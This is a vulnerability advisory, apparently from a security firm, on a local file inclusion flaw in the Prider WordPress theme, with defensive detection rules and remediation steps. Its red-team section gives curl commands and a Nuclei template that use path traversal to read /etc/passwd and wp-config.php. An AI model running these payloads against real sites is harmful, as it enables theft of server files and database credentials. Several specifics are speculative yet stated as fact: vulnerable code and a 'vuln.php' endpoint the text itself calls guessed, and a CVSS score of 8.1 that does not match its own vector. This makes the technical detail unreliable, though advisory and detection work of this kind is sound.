CVE-2025-69072

Executive Summary

CVE-2025-69072 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Prider WordPress theme developed by AncoraThemes. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, configuration files, or WordPress database credentials. The CVSS score of 8.1 (High) reflects the ease of exploitation and high confidentiality impact. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority unpatched threat for all sites using the Prider theme version 1.1.3.1 or earlier.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed through the official WordPress theme repository and potentially third-party marketplaces. Since the vendor (AncoraThemes) has not released a patch, the supply chain risk is elevated. Users must manually apply mitigations or remove the theme entirely. The lack of a patch also means that any site using this theme is exposed until a fix is deployed.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected asset.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete disclosure of sensitive server files.

Deep Dive & Mechanics

The vulnerability exists in the Prider theme's PHP code, likely within a template or plugin file that uses include() or require() with user-supplied input. The theme fails to sanitize or validate the filename parameter, allowing path traversal sequences (e.g., ../../) to escape the intended directory.

Example vulnerable code pattern:

<?php
$file = $_GET['file'];
include("templates/" . $file . ".php");
?>

An attacker can supply ../../../etc/passwd%00 to null-terminate the string and read arbitrary files.

The LFI is "local" because it only allows inclusion of files already on the server, not remote URLs (though PHP configurations like allow_url_include could escalate to RFI). The impact is primarily information disclosure, but if combined with file upload functionality, it could lead to remote code execution.

Vulnerable vs. Patched Code

Vulnerable code (Prider <= 1.1.3.1):

<?php
// No input validation
$template = $_GET['template'];
include("theme-parts/" . $template . ".php");
?>

Patched code (hypothetical fix):

<?php
$allowed_templates = ['header', 'footer', 'sidebar'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include("theme-parts/" . $template . ".php");
} else {
    // Error handling
    echo "Invalid template.";
}
?>

The patch uses a whitelist approach to restrict included files to a predefined set, preventing path traversal.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress with Prider theme version 1.1.3.1.
2. Ensure the vulnerable endpoint is accessible (e.g., http://target/wp-content/themes/prider/vuln.php?file=...).

Exploitation:

# Read /etc/passwd
curl "http://target/wp-content/themes/prider/vuln.php?file=../../../etc/passwd%00"

# Read WordPress config
curl "http://target/wp-content/themes/prider/vuln.php?file=../../../wp-config.php%00"

Automation with Nuclei (if template existed):

id: CVE-2025-69072
info:
  name: Prider Theme LFI
  severity: high
requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/themes/prider/vuln.php?file=../../../etc/passwd%00"
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

Blue Team

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %00).
• Look for requests to vuln.php or similar files with suspicious parameters.
• Use WAF rules to block file parameters containing ../ or null bytes.

Hunting:

# Search for LFI attempts in Apache logs
grep -E "\.\./|%00" /var/log/apache2/access.log | grep "vuln.php"

Indicators of Compromise (IOCs)

• File paths: /etc/passwd, /wp-config.php, /etc/shadow
• URL patterns: ?file=../../../etc/passwd%00, ?template=../../../wp-config.php%00
• Log entries: Requests containing ../ or %00 in parameters.
• Network: Outbound connections from the web server to unexpected IPs (if RFI is possible).

Detection Engineering

YARA Rule

rule CVE_2025_69072_LFI_Prider {
    meta:
        description = "Detects LFI attempts against Prider theme"
        author = "Valters IT"
        date = "2025-04-01"
    strings:
        $path_traversal = /\.\.\// nocase
        $null_byte = /%00/ nocase
        $vuln_param = /(file|template)=/ nocase
    condition:
        any of ($path_traversal) and any of ($null_byte) and any of ($vuln_param)
}

Sigma Rule

title: CVE-2025-69072 LFI Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects LFI attempts against Prider theme
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'file=../'
            - 'template=../'
            - '%00'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in admin tools
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69072 Prider LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"file="; http_uri; content:"../"; distance:0; within:10; content:"%00"; distance:0; within:5; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove the Prider theme from all WordPress installations.
2. Alternative: Switch to a different, actively maintained theme.
3. WAF Rule: Block requests containing ../ or %00 in parameters.
4. PHP Configuration: Disable allow_url_include and set open_basedir to restrict file access.
5. Monitoring: Enable logging and alerting for LFI patterns.
6. Vendor Contact: Attempt to contact AncoraThemes for a patch; if unresponsive, consider the theme abandoned.

Valters IT
Securing Digital Frontiers